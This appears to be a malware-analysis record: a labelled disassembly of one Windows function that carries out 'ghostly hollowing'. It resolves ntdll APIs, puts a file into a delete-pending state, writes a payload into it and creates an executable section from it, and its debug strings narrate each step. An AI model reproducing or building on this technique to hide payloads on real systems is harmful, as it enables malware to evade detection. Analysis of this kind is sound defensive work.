Function at 0x140002b00
Capabilities:
Process ghostly hollowing
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
mov rsi, r8
mov rdi, rdx
mov r15, rcx
mov rax, qword [0x14004b3b8]
xor rax, rsp
mov qword [rsp + 0xa0], rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [0x14003ff64]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea rdx, str.NtOpenFile
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x140002d6d
mov r14, rax
lea rcx, [0x14003ff64]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x140002d76
mov r13, rax
lea rcx, [0x14003ff64]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea rdx, str.NtSetInformationFile
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x140002d7f
mov r12, rax
lea rcx, [0x14003ff64]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea rdx, [0x14003ff3f]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x140002d88
mov rbx, rax
lea rbp, [rsp + 0x50]
mov rcx, rbp
mov rdx, r15
call r13
mov dword [rsp + 0x60], 0x30
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x78], 0x40
mov qword [rsp + 0x70], rbp
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
lea rcx, str.___Opening_The_File..._n
call fcn.140001220
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
lea rcx, [rsp + 0x98]
lea r8, [rsp + 0x60]
lea r9, [rsp + 0x40]
mov edx, 0xc0110000
call r14
test eax, eax
jne 0x140002d91
lea rcx, str.___Putting_File_Into_Delete_Pending_State..._n
call fcn.140001220
mov byte [rsp + 0x38], 1
mov rcx, qword [rsp + 0x98]
mov dword [rsp + 0x20], 0xd
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0x38]
mov r9d, 1
call r12
test eax, eax
jne 0x140002d64
lea rcx, str.___Writing_Payload_Into_Delete_Pending_State_File..._n
call fcn.140001220
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3c]
mov rdx, rdi
mov r8d, esi
call qword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x140002d9a
lea rcx, str.___Creating_Section_From_Delete_Pending_State_File..._n
call fcn.140001220
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
lea rcx, [rsp + 0x90]
mov edx, 0xf001f
xor r8d, r8d
xor r9d, r9d
call rbx
test eax, eax
jne 0x140002d64
lea rcx, str.___Section_Created_From_The_Delete_Pending_File..._n
call fcn.140001220
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov qword [rsp + 0x98], 0
lea rcx, str.____File_Deleted_Successfully..._n
call fcn.140001220
mov rsi, qword [rsp + 0x90]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140009f90
mov rax, rsi
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.____Error_setting_file_to_delete_pending_state..._n
jmp 0x140002da1
lea rcx, str.____Unable_To_Found_API_NtOpenFile..._n
jmp 0x140002da1
lea rcx, str.____Unable_To_Found_API_RtlInitUnicodeString..._n
jmp 0x140002da1
lea rcx, str.____Unable_To_Found_API_NtSetInfromationFile..._n
jmp 0x140002da1
lea rcx, str.____Unable_To_Found_API_NtCreateSection..__n
jmp 0x140002da1
lea rcx, str.____Error_Opening_File..._n
jmp 0x140002da1
lea rcx, str.____Failed_to_write_payload_to_the_file..._n
call fcn.14001ea38
mov ecx, 0xffffffff
call fcn.140018328
int3